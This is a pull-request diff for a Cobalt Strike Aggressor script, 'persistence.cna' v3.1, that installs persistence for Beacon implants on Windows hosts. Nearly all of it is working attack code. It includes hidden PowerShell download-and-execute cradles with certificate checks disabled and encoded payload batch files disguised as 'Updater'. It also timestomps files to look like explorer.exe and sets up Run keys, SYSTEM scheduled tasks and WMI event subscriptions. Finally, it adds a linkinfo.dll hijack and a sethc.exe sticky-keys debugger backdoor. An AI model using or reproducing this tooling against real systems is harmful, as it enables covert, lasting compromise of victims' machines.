Merge pull request #3 from minisllc/master
Version 3.1 mods - Support for multiple listeners, removed web delivery reliance, more persistence options, housekeeping, etcmaster
commit
a5aa8163f8
|
@ -1,3 +1,6 @@
|
|||
# persistence-aggressor-script
|
||||
|
||||
* Modified to use encoded powershell commands and allow selection of persistence in multiple listener scenarios (local or foreign)
|
||||
* Added linkinfo.dll explorer.exe DLL hijack option
|
||||
|
||||
http://www.zonksec.com/blog/persistence-aggressor-script/
|
||||
|
|
280
persistence.cna
280
persistence.cna
|
@ -1,11 +1,10 @@
|
|||
##################################
|
||||
### Aggressor Persistence v3.0 ###
|
||||
### Aggressor Persistence v3.1 ###
|
||||
### By: Tyler Rosonke ###
|
||||
### zonksec.com ###
|
||||
##################################
|
||||
|
||||
alias persistence {
|
||||
if (checkPSpayload($1)){
|
||||
|
||||
########### Add Menu #############
|
||||
if ($2 eq "Add"){
|
||||
|
@ -40,10 +39,17 @@ alias persistence {
|
|||
berror($1, "Specifiy OnStart or Daily.");
|
||||
}
|
||||
}
|
||||
else if ($3 eq "linkinfo") {
|
||||
addLinkinfo($1);
|
||||
}
|
||||
else if ($3 eq "StickyKeys") {
|
||||
addStickyKeys($1);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify RegKeyRun, SchTasks, or WMI.");
|
||||
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
########### Remove Menu #############
|
||||
else if ($2 eq "Remove"){
|
||||
if ($3 eq "RegKeyRun") {
|
||||
|
@ -77,62 +83,86 @@ alias persistence {
|
|||
berror($1, "Specifiy OnStart or Daily.");
|
||||
}
|
||||
}
|
||||
else if ($3 eq "linkinfo") {
|
||||
remLinkinfo($1);
|
||||
}
|
||||
else if ($3 eq "StickyKeys") {
|
||||
remStickyKeys($1);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify RegKeyRun, SchTasks, or WMI.");
|
||||
berror($1, "Specify RegKeyRun, SchTasks, WMI, linkinfo, or StickyKeys.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify Add or Remove.");
|
||||
}
|
||||
}
|
||||
else {
|
||||
berror($1, "Need PowerShell Web Delivery to add persistence.");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
########### Subroutines #############
|
||||
sub checkPSpayload{
|
||||
foreach $site (sites()) {
|
||||
# Site description was updated in CS 3.X from "PowerShell Web Delivery" to "Scripted Web Delivery (powershell)"
|
||||
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
|
||||
|
||||
# 64bit check not used elsewhere in the script yet
|
||||
sub checkX64 {
|
||||
if (-is64 $1) {
|
||||
binput($1, "You're on a 64bit host! Make sure you're running in a 64bit process or file and registry changes may end up in SYSWOW locations and fail to function as intended!");
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
sub uploadPSpayload {
|
||||
foreach $site (sites()) {
|
||||
if ($site['Description'] eq "Scripted Web Delivery (powershell)"){
|
||||
if ($site['Port'] eq '443' ){
|
||||
binput($1, "[*] Using HTTPS Powershell Stager");
|
||||
# Modified to allow staging over HTTPs if a self-signed cert is used
|
||||
# Add HTTPS over HTTP
|
||||
$downloadstring = "https://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];
|
||||
# Disable certficate validation checking
|
||||
$data = 'powershell.exe -nop -w hidden -c "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};';
|
||||
$data = $data . "IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\"";
|
||||
}
|
||||
else {
|
||||
$downloadstring = "http://" . $site['Host'] . ":" . $site['Port'] . $site['URI'];
|
||||
$data = "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\'" . $downloadstring . "\'))\"";
|
||||
}
|
||||
binput($1, "[*] Attempting to upload persistence file: $2");
|
||||
# Improved robustness in cases where you have more than one listener configured (foreign listeners)
|
||||
# Additionally, this method leverages an encoded command rather than staging via the Powershell download IEX cradle
|
||||
|
||||
$availableListeners = listeners();
|
||||
|
||||
# Skip listener selection if only one exists
|
||||
if (size($availableListeners()) eq 1) {
|
||||
$listener = $availableListeners[0];
|
||||
binput($1, "Persisting listener: $listener");
|
||||
$data = "@echo off\r\n";
|
||||
$data = $data . powershell($listener, false);
|
||||
binput($1, "Attempting to upload persistence file: $2");
|
||||
bupload_raw($1, $2, $data);
|
||||
btimestomp($1,$2,'C:\Windows\explorer.exe')
|
||||
binput($1, "timestomp $2 explorer.exe");
|
||||
btimestomp($1, $2,'C:\Windows\explorer.exe');
|
||||
}
|
||||
|
||||
# There is likely a better way to select a listener, but this is the quickest method I came up with without modifying the logic of every function to require a listener_name
|
||||
# Use payload helper function if more than one listener is available
|
||||
else {
|
||||
# Store the payloadPath as global variable so it can be accessed by the callback function of &openPayloadHelper
|
||||
# If you include instructions contingent on the completion of the openPayloadHelper function outside of its callback function,
|
||||
# those instructions will execute as soon as the payload selection dialog opens and they will fail. This is why some code repeats
|
||||
|
||||
global ('$gpayloadPath');
|
||||
$gpayloadPath = $2;
|
||||
openPayloadHelper(lambda({
|
||||
$listener = $1;
|
||||
binput($bids, "Persisting listener: $listener");
|
||||
$data = "@echo off\r\n";
|
||||
$data = $data . powershell($listener, false);
|
||||
binput($bids, "Attempting to upload persistence file: $gpayloadPath");
|
||||
|
||||
bupload_raw($bids, $gpayloadPath, $data);
|
||||
binput($bids, "timestomp $gpayloadPath explorer.exe");
|
||||
btimestomp($bids, $gpayloadPath,'C:\Windows\explorer.exe');
|
||||
}, $bids => $1));
|
||||
}
|
||||
|
||||
}
|
||||
sub isAdmin {
|
||||
return iff( right(beacon_info($1, "user"), 2) eq " *" , true, false);
|
||||
}
|
||||
sub addRegKey
|
||||
{
|
||||
$powershell = "New-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
|
||||
$powershell = "New-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName . " -PropertyType String -Value " . $payloadPath;
|
||||
bpowershell($1, $powershell);
|
||||
}
|
||||
sub remRegKey
|
||||
{
|
||||
$powershell = "Remove-ItemProperty -Path " . $hive . ":" . $keyPath . " -Name " . $keyName;
|
||||
$powershell = "Remove-ItemProperty -Path \"" . $hive . ":" . $keyPath . "\" -Name " . $keyName;
|
||||
bpowershell($1, $powershell);
|
||||
}
|
||||
sub addRegKeyRun {
|
||||
|
@ -153,8 +183,8 @@ sub addRegKeyRun {
|
|||
$hive = "HKCU";
|
||||
}
|
||||
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
sub remRegKeyRun {
|
||||
if ($4) {
|
||||
|
@ -174,9 +204,9 @@ sub remRegKeyRun {
|
|||
$hive = "HKCU";
|
||||
}
|
||||
$keyPath = "\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\";
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
remRegKey($1,$keyName);
|
||||
remRegKey($1,$hive,$keyPath,$keyName);
|
||||
brm($1,$payloadPath);
|
||||
|
||||
}
|
||||
sub addSchTasksOnIdle {
|
||||
if ($5) {
|
||||
|
@ -220,8 +250,7 @@ sub remSchTasksOnIdle {
|
|||
}
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify number idle time.");
|
||||
|
@ -237,18 +266,15 @@ sub addSchTasksOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc onstart";
|
||||
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . ' /sc onstart /RU "NT AUTHORITY\SYSTEM" /RL HIGHEST';
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub remSchTasksOnStart {
|
||||
|
@ -261,19 +287,15 @@ sub remSchTasksOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub addSchTasksOnLogon {
|
||||
|
@ -286,18 +308,15 @@ sub addSchTasksOnLogon {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "schtasks /create /tn " . $taskName . " /tr " . $payloadPath . " /sc ONLOGON";
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnLogon.")
|
||||
berror($1, "Admin is needed for SchTasks OnLogon.");
|
||||
}
|
||||
}
|
||||
sub remSchTasksOnLogon {
|
||||
|
@ -310,19 +329,15 @@ sub remSchTasksOnLogon {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for SchTasks OnStart.")
|
||||
berror($1, "Admin is needed for SchTasks OnStart.");
|
||||
}
|
||||
}
|
||||
sub addSchTasksOnTime {
|
||||
|
@ -367,8 +382,7 @@ sub remSchTasksOnTime {
|
|||
}
|
||||
$powershellcmd = "schtasks /delete /f /tn " . $taskName;
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Specify Hourly, Daily, Weekly, or Monthly.");
|
||||
|
@ -384,19 +398,16 @@ sub addWMIOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
|
||||
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub remWMIOnStart {
|
||||
|
@ -409,19 +420,15 @@ sub remWMIOnStart {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub addWMIDaily {
|
||||
|
@ -434,19 +441,16 @@ sub addWMIDaily {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $taskName ."';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 13 AND TargetInstance.Minute = 00 GROUP WITHIN 60\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $taskName . "';ExecutablePath='" . $payloadPath ."';CommandLineTemplate ='" . $payloadPath . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};";
|
||||
|
||||
bpowershell($1,$powershellcmd);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
sub remWMIDaily {
|
||||
|
@ -459,22 +463,101 @@ sub remWMIDaily {
|
|||
$payloadName = "Updater";
|
||||
$taskName = "Updater";
|
||||
}
|
||||
if (isAdmin($1)){
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
}
|
||||
else {
|
||||
$payloadPath = "C:\\Users\\Public\\" . $payloadName . ".bat";
|
||||
}
|
||||
|
||||
$powershellcmd = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $taskName . "'\"| Remove-WmiObject;Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $taskName . "'\" | Remove-WmiObject; Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $taskName . "'} | Remove-WmiObject;";
|
||||
bpowershell($1,$powershellcmd);
|
||||
$command = "del " . $payloadPath;
|
||||
bshell($1,$command );
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for WMI.")
|
||||
berror($1, "Admin is needed for WMI.");
|
||||
}
|
||||
}
|
||||
|
||||
sub addLinkinfo {
|
||||
# dll hijack on explorer.exe
|
||||
if (isAdmin($1)) {
|
||||
if (-exists script_resource("/payloads/linkinfo.dll")) {
|
||||
binput($1, "[*] Dropping linkinfo.dll persistence");
|
||||
bcd($1, 'c:\windows');
|
||||
bupload($1, script_resource("/payloads/linkinfo.dll"));
|
||||
btimestomp($1, "linkinfo.dll", 'c:\windows\system32\linkinfo.dll');
|
||||
}
|
||||
else {
|
||||
berror($1, "./payloads/linkinfo.dll not found. Make sure you've created a DLL that matches the target architecture and stored it as ./payloads/linkinfo.dll");
|
||||
}
|
||||
}
|
||||
else {
|
||||
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack');
|
||||
}
|
||||
}
|
||||
|
||||
sub remLinkinfo {
|
||||
# Remove dll hijack on explorer.exe
|
||||
if (isAdmin($1)) {
|
||||
binput($1, "[*] Removing linkinfo.dll persistence");
|
||||
$payloadPath = "C:\windows\linkinfo.dll";
|
||||
brm($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, 'Admin or write-access to C:\Windows is needed for linkinfo.dll hijack removal');
|
||||
}
|
||||
}
|
||||
|
||||
sub addStickyKeys {
|
||||
if (isAdmin($1)){
|
||||
if ($4) {
|
||||
$payloadName = $4;
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
else {
|
||||
$payloadName = "Updater";
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$hive = "HKLM";
|
||||
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
|
||||
|
||||
$powershellcmd = 'New-Item -Path "' . $hive . $keyPath . '" -Name sethc.exe -Force';
|
||||
bpowershell($1,$powershellcmd);
|
||||
|
||||
addRegKey($1,$hive,$keyPath,$keyName,$payloadPath);
|
||||
uploadPSpayload($1,$payloadPath);
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
sub remStickyKeys {
|
||||
if (isAdmin($1)){
|
||||
if ($4) {
|
||||
$payloadName = $4;
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
else {
|
||||
$payloadName = "Updater";
|
||||
$keyName = "Debugger";
|
||||
}
|
||||
|
||||
$payloadPath = "C:\\Windows\\System32\\" . $payloadName . ".bat";
|
||||
|
||||
$hive = "HKLM";
|
||||
$keyPath = '\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';
|
||||
remRegKey($1,$hive,$keyPath,$keyName);
|
||||
|
||||
brm($1,$payloadPath);
|
||||
|
||||
}
|
||||
else {
|
||||
berror($1, "Admin is needed for StickyKeys.");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
##### Help Menu ######
|
||||
beacon_command_register(
|
||||
"persistence",
|
||||
|
@ -491,8 +574,11 @@ Available methods:
|
|||
*SchTasks OnLogon <payload / task name>
|
||||
*WMI OnStart <payload / task name>
|
||||
*WMI Daily <payload / task name>
|
||||
**linkinfo
|
||||
*StickyKeys <payload / key name>
|
||||
|
||||
* = method needs admin
|
||||
** = method need admin to install, but executes as USER
|
||||
[] = requireed argument
|
||||
<> = optional argument
|
||||
");
|
||||
|
|
Loading…
Reference in New Issue